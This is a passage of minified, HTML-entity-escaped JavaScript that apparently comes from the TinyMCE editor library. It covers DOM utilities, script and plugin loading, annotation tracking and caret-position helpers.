t=e||i,n=t.document.documentElement;return{x:t.pageXOffset||n.scrollLeft,y:t.pageYOffset||n.scrollTop,w:t.innerWidth||n.clientWidth,h:t.innerHeight||n.clientHeight}},getRect:function(e){var t,n;return e=p(e),t=x(e),n=N(e),{x:t.x,y:t.y,w:n.w,h:n.h}},getSize:N,getParent:function(e,t,n){var r=S(e,t,n,!1);return r&amp;&amp;0&lt;r.length?r[0]:null},getParents:S,get:p,getNext:function(e,t){return T(e,t,&quot;nextSibling&quot;)},getPrev:function(e,t){return T(e,t,&quot;previousSibling&quot;)},select:function(e,t){return St(e,p(t)||u.root_element||a,[])},is:E,add:R,create:D,createHTML:function(e,t,n){var r,o=&quot;&quot;;for(r in o+=&quot;&lt;&quot;+e,t)t.hasOwnProperty(r)&amp;&amp;null!==t[r]&amp;&amp;&quot;undefined&quot;!=typeof t[r]&amp;&amp;(o+=&quot; &quot;+r+&#039;=&quot;&#039;+B(t[r])+&#039;&quot;&#039;);return void 0!==n?o+&quot;&gt;&quot;+n+&quot;&lt;/&quot;+e+&quot;&gt;&quot;:o+&quot; /&gt;&quot;},createFragment:function(e){var t,n=a.createElement(&quot;div&quot;),r=a.createDocumentFragment();for(r.appendChild(n),e&amp;&amp;(n.innerHTML=e);t=n.firstChild;)r.appendChild(t);return r.removeChild(n),r},remove:P,setStyle:function(e,t,n){var r=h(e).css(t,n);u.update_styles&amp;&amp;wi(d,r)},getStyle:w,setStyles:function(e,t){var n=h(e).css(t);u.update_styles&amp;&amp;wi(d,n)},removeAllAttribs:function(e){return k(e,function(e){var t,n=e.attributes;for(t=n.length-1;0&lt;=t;t--)e.removeAttributeNode(n.item(t))})},setAttrib:b,setAttribs:_,getAttrib:v,getPos:x,parseStyle:function(e){return d.parse(e)},serializeStyle:function(e,t){return d.serialize(e,t)},addStyle:function(e){var t,n;if(j!==Ei.DOM&amp;&amp;a===V.document){if(r[e])return;r[e]=!0}(n=a.getElementById(&quot;mceDefaultStyles&quot;))||((n=a.createElement(&quot;style&quot;)).id=&quot;mceDefaultStyles&quot;,n.type=&quot;text/css&quot;,(t=a.getElementsByTagName(&quot;head&quot;)[0]).firstChild?t.insertBefore(n,t.firstChild):t.appendChild(n)),n.styleSheet?n.styleSheet.cssText+=e:n.appendChild(a.createTextNode(e))},loadCSS:function(e){var n;j===Ei.DOM||a!==V.document?(e||(e=&quot;&quot;),n=a.getElementsByTagName(&quot;head&quot;)[0],hi(e.split(&quot;,&quot;),function(e){var t;e=Xt._addCacheSuffix(e),o[e]||(o[e]=!0,t=D(&quot;link&quot;,{rel:&quot;stylesheet&quot;,href:e}),n.appendChild(t))})):Ei.DOM.loadCSS(e)},addClass:function(e,t){h(e).addClass(t)},removeClass:function(e,t){I(e,t,!1)},hasClass:function(e,t){return h(e).hasClass(t)},toggleClass:I,show:function(e){h(e).show()},hide:function(e){h(e).hide()},isHidden:function(e){return&quot;none&quot;===h(e).css(&quot;display&quot;)},uniqueId:function(e){return(e||&quot;mce_&quot;)+t++},setHTML:A,getOuterHTML:function(e){var t=&quot;string&quot;==typeof e?p(e):e;return jo.isElement(t)?t.outerHTML:gn(&quot;&lt;div&gt;&lt;/div&gt;&quot;).append(gn(t).clone()).html()},setOuterHTML:function(e,t){h(e).each(function(){try{if(&quot;outerHTML&quot;in this)return void(this.outerHTML=t)}catch(e){}P(gn(this).html(t),!0)})},decode:O,encode:B,insertAfter:function(e,t){var r=p(t);return k(e,function(e){var t,n;return t=r.parentNode,(n=r.nextSibling)?t.insertBefore(e,n):t.appendChild(e),e})},replace:L,rename:function(t,e){var n;return t.nodeName!==e.toUpperCase()&amp;&amp;(n=D(e),hi(y(t),function(e){b(n,e.nodeName,v(t,e.nodeName))}),L(n,t,!0)),n||t},findCommonAncestor:function(e,t){for(var n,r=e;r;){for(n=t;n&amp;&amp;r!==n;)n=n.parentNode;if(r===n)break;r=r.parentNode}return!r&amp;&amp;e.ownerDocument?e.ownerDocument.documentElement:r},toHex:function(e){return d.toHex(Xt.trim(e))},run:k,getAttribs:y,isEmpty:function(e,t){var n,r,o,i,a,u,s=0;if(e=e.firstChild){a=new go(e,e.parentNode),t=t||(f?f.getNonEmptyElements():null),i=f?f.getWhiteSpaceElements():{};do{if(o=e.nodeType,jo.isElement(e)){var c=e.getAttribute(&quot;data-mce-bogus&quot;);if(c){e=a.next(&quot;all&quot;===c);continue}if(u=e.nodeName.toLowerCase(),t&amp;&amp;t[u]){if(&quot;br&quot;===u){s++,e=a.next();continue}return!1}for(n=(r=y(e)).length;n--;)if(&quot;name&quot;===(u=r[n].nodeName)||&quot;data-mce-bookmark&quot;===u)return!1}if(8===o)return!1;if(3===o&amp;&amp;!Ci.test(e.nodeValue))return!1;if(3===o&amp;&amp;e.parentNode&amp;&amp;i[e.parentNode.nodeName]&amp;&amp;Ci.test(e.nodeValue))return!1;e=a.next()}while(e)}return s&lt;=1},createRng:F,nodeIndex:Ni,split:function(e,t,n){var r,o,i,a=F();if(e&amp;&amp;t)return a.setStart(e.parentNode,Ni(e)),a.setEnd(t.parentNode,Ni(t)),r=a.extractContents(),(a=F()).setStart(t.parentNode,Ni(t)+1),a.setEnd(e.parentNode,Ni(e)+1),o=a.extractContents(),(i=e.parentNode).insertBefore(qo.trimNode(j,r),e),n?i.insertBefore(n,e):i.insertBefore(t,e),i.insertBefore(qo.trimNode(j,o),e),P(e),n||t},bind:M,unbind:z,fire:function(e,t,n){return m.fire(e,t,n)},getContentEditable:U,getContentEditableParent:function(e){for(var t=C(),n=null;e&amp;&amp;e!==t&amp;&amp;null===(n=U(e));e=e.parentNode);return n},destroy:function(){if(l)for(var e=l.length;e--;){var t=l[e];m.unbind(t[0],t[1],t[2])}St.setDocument&amp;&amp;St.setDocument()},isChildOf:function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1},dumpRng:function(e){return&quot;startContainer: &quot;+e.startContainer.nodeName+&quot;, startOffset: &quot;+e.startOffset+&quot;, endContainer: &quot;+e.endContainer.nodeName+&quot;, endOffset: &quot;+e.endOffset}};return s=xi(d,u,function(){return j}),j}(pi=Ei||(Ei={})).DOM=pi(V.document),pi.nodeIndex=Ni;var Si=Ei,Ti=Si.DOM,ki=Xt.each,_i=Xt.grep,Ai=function(e){return&quot;function&quot;==typeof e},Ri=function(){var l={},o=[],i={},a=[],f=0;this.isDone=function(e){return 2===l[e]},this.markDone=function(e){l[e]=2},this.add=this.load=function(e,t,n,r){l[e]===undefined&amp;&amp;(o.push(e),l[e]=0),t&amp;&amp;(i[e]||(i[e]=[]),i[e].push({success:t,failure:r,scope:n||this}))},this.remove=function(e){delete l[e],delete i[e]},this.loadQueue=function(e,t,n){this.loadScripts(o,e,t,n)},this.loadScripts=function(n,e,t,r){var u,s=[],c=function(t,e){ki(i[e],function(e){Ai(e[t])&amp;&amp;e[t].call(e.scope)}),i[e]=undefined};a.push({success:e,failure:r,scope:t||this}),(u=function(){var e=_i(n);if(n.length=0,ki(e,function(e){var t,n,r,o,i,a;2!==l[e]?3!==l[e]?1!==l[e]&amp;&amp;(l[e]=1,f++,t=e,n=function(){l[e]=2,f--,c(&quot;success&quot;,e),u()},r=function(){l[e]=3,f--,s.push(e),c(&quot;failure&quot;,e),u()},i=(a=Ti).uniqueId(),(o=V.document.createElement(&quot;script&quot;)).id=i,o.type=&quot;text/javascript&quot;,o.src=Xt._addCacheSuffix(t),o.onload=function(){a.remove(i),o&amp;&amp;(o.onreadystatechange=o.onload=o=null),n()},o.onerror=function(){Ai(r)?r():&quot;undefined&quot;!=typeof console&amp;&amp;console.log&amp;&amp;console.log(&quot;Failed to load script: &quot;+t)},(V.document.getElementsByTagName(&quot;head&quot;)[0]||V.document.body).appendChild(o)):c(&quot;failure&quot;,e):c(&quot;success&quot;,e)}),!f){var t=a.slice(0);a.length=0,ki(t,function(e){0===s.length?Ai(e.success)&amp;&amp;e.success.call(e.scope):Ai(e.failure)&amp;&amp;e.failure.call(e.scope,s)})}})()}};Ri.ScriptLoader=new Ri;var Di,Oi=Xt.each;function Bi(){var r=this,o=[],a={},u={},i=[],s=function(e){var t;return u[e]&amp;&amp;(t=u[e].dependencies),t||[]},c=function(e,t){return&quot;object&quot;==typeof t?t:&quot;string&quot;==typeof e?{prefix:&quot;&quot;,resource:t,suffix:&quot;&quot;}:{prefix:e.prefix,resource:t,suffix:e.suffix}},l=function(e,n,t,r){var o=s(e);Oi(o,function(e){var t=c(n,e);f(t.resource,t,undefined,undefined)}),t&amp;&amp;(r?t.call(r):t.call(Ri))},f=function(e,t,n,r,o){if(!a[e]){var i=&quot;string&quot;==typeof t?t:t.prefix+t.resource+t.suffix;0!==i.indexOf(&quot;/&quot;)&amp;&amp;-1===i.indexOf(&quot;://&quot;)&amp;&amp;(i=Bi.baseURL+&quot;/&quot;+i),a[e]=i.substring(0,i.lastIndexOf(&quot;/&quot;)),u[e]?l(e,t,n,r):Ri.ScriptLoader.add(i,function(){return l(e,t,n,r)},r,o)}};return{items:o,urls:a,lookup:u,_listeners:i,get:function(e){return u[e]?u[e].instance:undefined},dependencies:s,requireLangPack:function(e,t){var n=Bi.language;if(n&amp;&amp;!1!==Bi.languageLoad){if(t)if(-1!==(t=&quot;,&quot;+t+&quot;,&quot;).indexOf(&quot;,&quot;+n.substr(0,2)+&quot;,&quot;))n=n.substr(0,2);else if(-1===t.indexOf(&quot;,&quot;+n+&quot;,&quot;))return;Ri.ScriptLoader.add(a[e]+&quot;/langs/&quot;+n+&quot;.js&quot;)}},add:function(t,e,n){o.push(e),u[t]={instance:e,dependencies:n};var r=K(i,function(e){return e.name===t});return i=r.fail,Oi(r.pass,function(e){e.callback()}),e},remove:function(e){delete a[e],delete u[e]},createUrl:c,addComponents:function(e,t){var n=r.urls[e];Oi(t,function(e){Ri.ScriptLoader.add(n+&quot;/&quot;+e)})},load:f,waitFor:function(e,t){u.hasOwnProperty(e)?t():i.push({name:e,callback:t})}}}(Di=Bi||(Bi={})).PluginManager=Di(),Di.ThemeManager=Di();var Pi=function(t,n){Vr(t).each(function(e){e.dom().insertBefore(n.dom(),t.dom())})},Ii=function(e,t){qr(e).fold(function(){Vr(e).each(function(e){Fi(e,t)})},function(e){Pi(e,t)})},Li=function(t,n){Yr(t).fold(function(){Fi(t,n)},function(e){t.dom().insertBefore(n.dom(),e.dom())})},Fi=function(e,t){e.dom().appendChild(t.dom())},Mi=function(t,e){z(e,function(e){Fi(t,e)})},zi=function(e){e.dom().textContent=&quot;&quot;,z(Kr(e),function(e){Ui(e)})},Ui=function(e){var t=e.dom();null!==t.parentNode&amp;&amp;t.parentNode.removeChild(t)},ji=function(e){var t,n=Kr(e);0&lt;n.length&amp;&amp;(t=e,z(n,function(e){Pi(t,e)})),Ui(e)},Vi=function(n,r){var o=null;return{cancel:function(){null!==o&amp;&amp;(V.clearTimeout(o),o=null)},throttle:function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];null===o&amp;&amp;(o=V.setTimeout(function(){n.apply(null,e),o=null},r))}}},Hi=function(e){var t=e,n=function(){return t};return{get:n,set:function(e){t=e},clone:function(){return Hi(n())}}},qi=function(e,t){var n=Er(e,t);return n===undefined||&quot;&quot;===n?[]:n.split(&quot; &quot;)},$i=function(e){return e.dom().classList!==undefined},Wi=function(e,t){return o=t,i=qi(n=e,r=&quot;class&quot;).concat([o]),wr(n,r,i.join(&quot; &quot;)),!0;var n,r,o,i},Ki=function(e,t){return o=t,0&lt;(i=U(qi(n=e,r=&quot;class&quot;),function(e){return e!==o})).length?wr(n,r,i.join(&quot; &quot;)):Sr(n,r),!1;var n,r,o,i},Xi=function(e,t){$i(e)?e.dom().classList.add(t):Wi(e,t)},Yi=function(e){0===($i(e)?e.dom().classList:qi(e,&quot;class&quot;)).length&amp;&amp;Sr(e,&quot;class&quot;)},Gi=function(e,t){return $i(e)&amp;&amp;e.dom().classList.contains(t)},Ji=function(e,t){var n=[];return z(Kr(e),function(e){t(e)&amp;&amp;(n=n.concat([e])),n=n.concat(Ji(e,t))}),n},Qi=function(e,t){return n=t,o=(r=e)===undefined?V.document:r.dom(),Fr(o)?[]:W(o.querySelectorAll(n),ar.fromDom);var n,r,o};function Zi(e,t,n,r,o){return e(n,r)?_.some(n):D(o)&amp;&amp;o(n)?_.none():t(n,r,o)}var ea,ta=function(e,t,n){for(var r=e.dom(),o=D(n)?n:q(!1);r.parentNode;){r=r.parentNode;var i=ar.fromDom(r);if(t(i))return _.some(i);if(o(i))break}return _.none()},na=function(e,t,n){return Zi(function(e,t){return t(e)},ta,e,t,n)},ra=function(e,t,n){return ta(e,function(e){return Lr(e,t)},n)},oa=function(e,t){return n=t,o=(r=e)===undefined?V.document:r.dom(),Fr(o)?_.none():_.from(o.querySelector(n)).map(ar.fromDom);var n,r,o},ia=function(e,t,n){return Zi(Lr,ra,e,t,n)},aa=q(&quot;mce-annotation&quot;),ua=q(&quot;data-mce-annotation&quot;),sa=q(&quot;data-mce-annotation-uid&quot;),ca=function(r,e){var t=r.selection.getRng(),n=ar.fromDom(t.startContainer),o=ar.fromDom(r.getBody()),i=e.fold(function(){return&quot;.&quot;+aa()},function(e){return&quot;[&quot;+ua()+&#039;=&quot;&#039;+e+&#039;&quot;]&#039;}),a=Xr(n,t.startOffset).getOr(n),u=ia(a,i,function(e){return Mr(e,o)}),s=function(e,t){return n=t,(r=e.dom())&amp;&amp;r.hasAttribute&amp;&amp;r.hasAttribute(n)?_.some(Er(e,t)):_.none();var n,r};return u.bind(function(e){return s(e,&quot;&quot;+sa()).bind(function(n){return s(e,&quot;&quot;+ua()).map(function(e){var t=la(r,n);return{uid:n,name:e,elements:t}})})})},la=function(e,t){var n=ar.fromDom(e.getBody());return Qi(n,&quot;[&quot;+sa()+&#039;=&quot;&#039;+t+&#039;&quot;]&#039;)},fa=function(i,e){var n,r,o,a=Hi({}),c=function(e,t){u(e,function(e){return t(e),e})},u=function(e,t){var n=a.get(),r=t(n.hasOwnProperty(e)?n[e]:{listeners:[],previous:Hi(_.none())});n[e]=r,a.set(n)},t=(n=function(){var e,t,n,r=a.get(),o=(e=gr(r),(n=B.call(e,0)).sort(t),n);z(o,function(e){u(e,function(u){var s=u.previous.get();return ca(i,_.some(e)).fold(function(){var t;s.isSome()&amp;&amp;(c(t=e,function(e){z(e.listeners,function(e){return e(!1,t)})}),u.previous.set(_.none()))},function(e){var t,n,r,o=e.uid,i=e.name,a=e.elements;s.is(o)||(n=o,r=a,c(t=i,function(e){z(e.listeners,function(e){return e(!0,t,{uid:n,nodes:W(r,function(e){return e.dom()})})})}),u.previous.set(_.some(o)))}),{previous:u.previous,listeners:u.listeners}})})},r=30,o=null,{cancel:function(){null!==o&amp;&amp;(V.clearTimeout(o),o=null)},throttle:function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];null!==o&amp;&amp;V.clearTimeout(o),o=V.setTimeout(function(){n.apply(null,e),o=null},r)}});return i.on(&quot;remove&quot;,function(){t.cancel()}),i.on(&quot;nodeChange&quot;,function(){t.throttle()}),{addListener:function(e,t){u(e,function(e){return{previous:e.previous,listeners:e.listeners.concat([t])}})}}},da=function(e,n){e.on(&quot;init&quot;,function(){e.serializer.addNodeFilter(&quot;span&quot;,function(e){z(e,function(t){var e;(e=t,_.from(e.attributes.map[ua()]).bind(n.lookup)).each(function(e){!1===e.persistent&amp;&amp;t.unwrap()})})})})},ma=function(){return(ma=Object.assign||function(e){for(var t,n=1,r=arguments.length;n&lt;r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&amp;&amp;(e[o]=t[o]);return e}).apply(this,arguments)},ga=0,pa=function(e,t){return ar.fromDom(e.dom().cloneNode(t))},ha=function(e){return pa(e,!1)},va=function(e){return pa(e,!0)},ya=function(e,t){var n,r,o=Ur(e).dom(),i=ar.fromDom(o.createDocumentFragment()),a=(n=t,(r=(o||V.document).createElement(&quot;div&quot;)).innerHTML=n,Kr(ar.fromDom(r)));Mi(i,a),zi(e),Fi(e,i)},ba=&quot;\ufeff&quot;,Ca=function(e){return e===ba},xa=ba,wa=function(e){return e.replace(new RegExp(ba,&quot;g&quot;),&quot;&quot;)},Na=jo.isElement,Ea=jo.isText,Sa=function(e){return Ea(e)&amp;&amp;(e=e.parentNode),Na(e)&amp;&amp;e.hasAttribute(&quot;data-mce-caret&quot;)},Ta=function(e){return Ea(e)&amp;&amp;Ca(e.data)},ka=function(e){return Sa(e)||Ta(e)},_a=function(e){return e.firstChild!==e.lastChild||!jo.isBr(e.firstChild)},Aa=function(e){var t=e.container();return!(!e||!jo.isText(t))&amp;&amp;(t.data.charAt(e.offset())===xa||e.isAtStart()&amp;&amp;Ta(t.previousSibling))},Ra=function(e){var t=e.container();return!(!e||!jo.isText(t))&amp;&amp;(t.data.charAt(e.offset()-1)===xa||e.isAtEnd()&amp;&amp;Ta(t.nextSibling))},Da=function(e,t,n){var r,o,i;return(r=t.ownerDocument.createElement(e)).setAttribute(&quot;data-mce-caret&quot;,n?&quot;before&quot;:&quot;after&quot;),r.setAttribute(&quot;data-mce-bogus&quot;,&quot;all&quot;),r.appendChild(((i=V.document.createElement(&quot;br&quot;)).setAttribute(&quot;data-mce-bogus&quot;,&quot;1&quot;),i)),o=t.parentNode,n?o.insertBefore(r,t):t.nextSibling?o.insertBefore(r,t.nextSibling):o.appendChild(r),r},Oa=function(e){return Ea(e)&amp;&amp;e.data[0]===xa},Ba=function(e){return Ea(e)&amp;&amp;e.data[e.data.length-1]===xa},Pa=function(e){return e&amp;&amp;e.hasAttribute(&quot;data-mce-caret&quot;)?(t=e.getElementsByTagName(&quot;br&quot;),n=t[t.length-1],jo.isBogus(n)&amp;&amp;n.parentNode.removeChild(n),e.removeAttribute(&quot;data-mce-caret&quot;),e.removeAttribute(&quot;data-mce-bogus&quot;),e.removeAttribute(&quot;style&quot;),e.removeAttribute(&quot;_moz_abspos&quot;),e):null;var t,n},Ia=jo.isContentEditableTrue,La=jo.isContentEditableFalse,Fa=jo.isBr,Ma=jo.isText,za=jo.matchNodeNames(&quot;script style textarea&quot;),Ua=jo.matchNodeNames(&quot;img input textarea hr iframe video audio object&quot;),ja=jo.matchNodeNames(&quot;table&quot;),Va=ka,Ha=function(e){return!Va(e)&amp;&amp;(Ma(e)?!za(e.parentNode):Ua(e)||Fa(e)||ja(e)||qa(e))},qa=function(e){return!1===(t=e,jo.isElement(t)&amp;&amp;&quot;true&quot;===t.getAttribute(&quot;unselectable&quot;))&amp;&amp;La(e);var t},$a=function(e,t){return Ha(e)&amp;&amp;function(e,t){for(e=e.parentNode;e&amp;&amp;e!==t;e=e.parentNode){if(qa(e))return!1;if(Ia(e))return!0}return!0}(e,t)},Wa=Math.round,Ka=function(e){return e?{left:Wa(e.left),top:Wa(e.top),bottom:Wa(e.bottom),right:Wa(e.right),width:Wa(e.width),height:Wa(e.height)}:{left:0,top:0,bottom:0,right:0,width:0,height:0}},Xa=function(e,t){return e=Ka(e),t||(e.left=e.left+e.width),e.right=e.left,e.width=0,e},Ya=function(e,t,n){return 0&lt;=e&amp;&amp;e&lt;=Math.min(t.height,n.height)/2},Ga=function(e,t){var n=Math.min(t.height/2,e.height/2);return e.bottom-n&lt;t.top||!(e.top&gt;t.bottom)&amp;&amp;Ya(t.top-e.bottom,e,t)},Ja=function(e,t){return e.top&gt;t.bottom||!(e.bottom&lt;t.top)&amp;&amp;Ya(t.bottom-e.top,e,t)},Qa=function(e,t,n){return t&gt;=e.left&amp;&amp;t&lt;=e.right&amp;&amp;n&gt;=e.top&amp;&amp;n&lt;=e.bottom},Za=function(e){var t=e.startContainer,n=e.startOffset;return t.hasChildNodes()&amp;&amp;e.endOffset===n+1?t.childNodes[n]:null},eu=function(e,t){return 1===e.nodeType&amp;&amp;e.hasChildNodes()&amp;&amp;(t&gt;=e.childNodes.length&amp;&amp;(t=e.childNodes.length-1),e=e.childNodes[t]),e},tu=new RegExp(&quot;[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e3-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1abe\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20dd-\u20e0\u20e1\u20e2-\u20e4\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\ua670-\ua672\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\uff9e-\uff9f]&quot;),nu=function(e){return&quot;string&quot;==typeof e&amp;&amp;768&lt;=e.charCodeAt(0)&amp;&amp;tu.test(e)},ru=function(e,t,n){return e.isSome()&amp;&amp;t.isSome()?_.some(n(e.getOrDie(),t.getOrDie())):_.none()},ou=[].slice,iu=function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];var n=ou.call(arguments);return function(e){for(var t=0;t&lt;n.length;t++)if(!n[t](e))return!1;return!0}},au=function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];var n=ou.call(arguments);return function(e){for(var t=0;t&lt;n.length;t++)if(n[t](e))return!0;return!1}},uu=jo.isElement,su=Ha,cu=jo.matchStyleValues(&quot;display&quot;,&quot;block table&quot;),lu=jo.matchStyleValues(&quot;float&quot;,&quot;left right&quot;),fu=iu(uu,su,y(lu)),du=y(jo.matchStyleValues(&quot;white-space&quot;,&quot;pre pre-line pre-wrap&quot;)),mu=jo.isText,gu=jo.isBr,pu=Si.nodeIndex,hu=eu,vu=function(e){return&quot;createRange&quot;in e?e.createRange():Si.DOM.createRng()},yu=function(e){return e&amp;&amp;/[\r\n\t ]/.test(e)},bu=function(e){return!!e.setStart&amp;&amp;!!e.setEnd},Cu=function(e){var t,n=e.startContainer,r=e.startOffset;return!!(yu(e.toString())&amp;&amp;du(n.parentNode)&amp;&amp;jo.isText(n)&amp;&amp;(t=n.data,yu(t[r-1])||yu(t[r+1])))},xu=function(e){return 0===e.left&amp;&amp;0===e.right&amp;&amp;0===e.top&amp;&amp;0===e.bottom},wu=function(e){var t,n,r,o,i,a,u,s;return t=0&lt;(n=e.getClientRects()).length?Ka(n[0]):Ka(e.getBoundingClientRect()),!bu(e)&amp;&amp;gu(e)&amp;&amp;xu(t)?(i=(r=e).ownerDocument,a=vu(i),u=i.createTextNode(&quot;\xa0&quot;),(s=r.parentNode).insertBefore(u,r),a.setStart(u,0),a.setEnd(u,1),o=Ka(a.getBoundingClientRect()),s.removeChild(u),o):xu(t)&amp;&amp;bu(e)?function(e){var t=e.startContainer,n=e.endContainer,r=e.startOffset,o=e.endOffset;if(t===n&amp;&amp;jo.isText(n)&amp;&amp;0===r&amp;&amp;1===o){var i=e.cloneRange();return i.setEndAfter(n),wu(i)}return null}(e):t},Nu=function(e,t){var n=Xa(e,t);return n.width=1,n.right=n.left+1,n},Eu=function(e){var t,n,r=[],o=function(e){var t,n;0!==e.height&amp;&amp;(0&lt;r.length&amp;&amp;(t=e,n=r[r.length-1],t.left===n.left&amp;&amp;t.top===n.top&amp;&amp;t.bottom===n.bottom&amp;&amp;t.right===n.right)||r.push(e))},i=function(e,t){var n=vu(e.ownerDocument);if(t&lt;e.data.length){if(nu(e.data[t]))return r;if(nu(e.data[t-1])&amp;&amp;(n.setStart(e,t),n.setEnd(e,t+1),!Cu(n)))return o(Nu(wu(n),!1)),r}0&lt;t&amp;&amp;(n.setStart(e,t-1),n.setEnd(e,t),Cu(n)||o(Nu(wu(n),!1))),t&lt;e.data.length&amp;&amp;(n.setStart(e,t),n.setEnd(e,t+1),Cu(n)||o(Nu(wu(n),!0)))};if(mu(e.container()))return i(e.container(),e.offset()),r;if(uu(e.container()))if(e.isAtEnd())n=hu(e.container(),e.offset()),mu(n)&amp;&amp;i(n,n.data.length),fu(n)&amp;&amp;!gu(n)&amp;&amp;o(Nu(wu(n),!1));else{if(n=hu(e.container(),e.offset()),mu(n)&amp;&amp;i(n,0),fu(n)&amp;&amp;e.isAtEnd())return o(Nu(wu(n),!1)),r;t=hu(e.container(),e.offset()-1),fu(t)&amp;&amp;!gu(t)&amp;&amp;(cu(t)||cu(n)||!fu(n))&amp;&amp;o(Nu(wu(t),!1)),fu(n)&amp;&amp;o(Nu(wu(n),!0))}return r};function Su(t,n,e){var r=function(){return e||(e=Eu(Su(t,n))),e};return{container:q(t),offset:q(n),toRange:function(){var e;return(e=vu(t.ownerDocument)).setStart(t,n),e.setEnd(t,n),e},getClientRects:r,isVisible:function(){return 0&lt;r().length},isAtStart:function(){return mu(t),0===n},isAtEnd:function(){return mu(t)?n&gt;=t.data.length:n&gt;=t.childNodes.length},isEqual:function(e){return e&amp;&amp;t===e.container()&amp;&amp;n===e.offset()},getNode:function(e){return hu(t,e?n-1:n)}}}(ea=Su||(Su={})).fromRangeStart=function(e){return ea(e.startContainer,e.startOffset)},ea.fromRangeEnd=function(e){return ea(e.endContainer,e.endOffset)},ea.after=function(e){return ea(e.parentNode,pu(e)+1)},ea.before=function(e){return ea(e.parentNode,pu(e))},ea.isAbove=function(e,t){return ru(Z(t.getClientRects()),ee(e.getClientRects()),Ga).getOr(!1)},ea.isBelow=function(e,t){return ru(ee(t.getClientRects()),Z(e.getClientRects()),Ja).getOr(!1)},ea.isAtStart=function(e){return!!e&amp;&amp;e.isAtStart()},ea.isAtEnd=function(e){return!!e&amp;&amp;e.isAtEnd()},ea.isTextPosition=function(e){return!!e&amp;&amp;jo.isText(e.container())},ea.isElementPosition=function(e){return!1===ea.isTextPosition(e)};var Tu,ku,_u=Su,Au=jo.isText,Ru=jo.isBogus,Du=Si.nodeIndex,Ou=function(e){var t=e.parentNode;return Ru(t)?Ou(t):t},Bu=function(e){return e?Ht.reduce(e.childNodes,function(e,t){return Ru(t)&amp;&amp;&quot;BR&quot;!==t.nodeName?e=e.concat(Bu(t)):e.push(t),e},[]):[]},Pu=function(t){return function(e){return t===e}},Iu=function(e){var t,r,n,o;return(Au(e)?&quot;text()&quot;:e.nodeName.toLowerCase())+&quot;[&quot;+(r=Bu(Ou(t=e)),n=Ht.findIndex(r,Pu(t),t),r=r.slice(0,n+1),o=Ht.reduce(r,function(e,t,n){return Au(t)&amp;&amp;Au(r[n-1])&amp;&amp;e++,e},0),r=Ht.filter(r,jo.matchNodeNames(t.nodeName)),(n=Ht.findIndex(r,Pu(t),t))-o)+&quot;]&quot;},Lu=function(e,t){var n,r,o,i,a,u=[];return 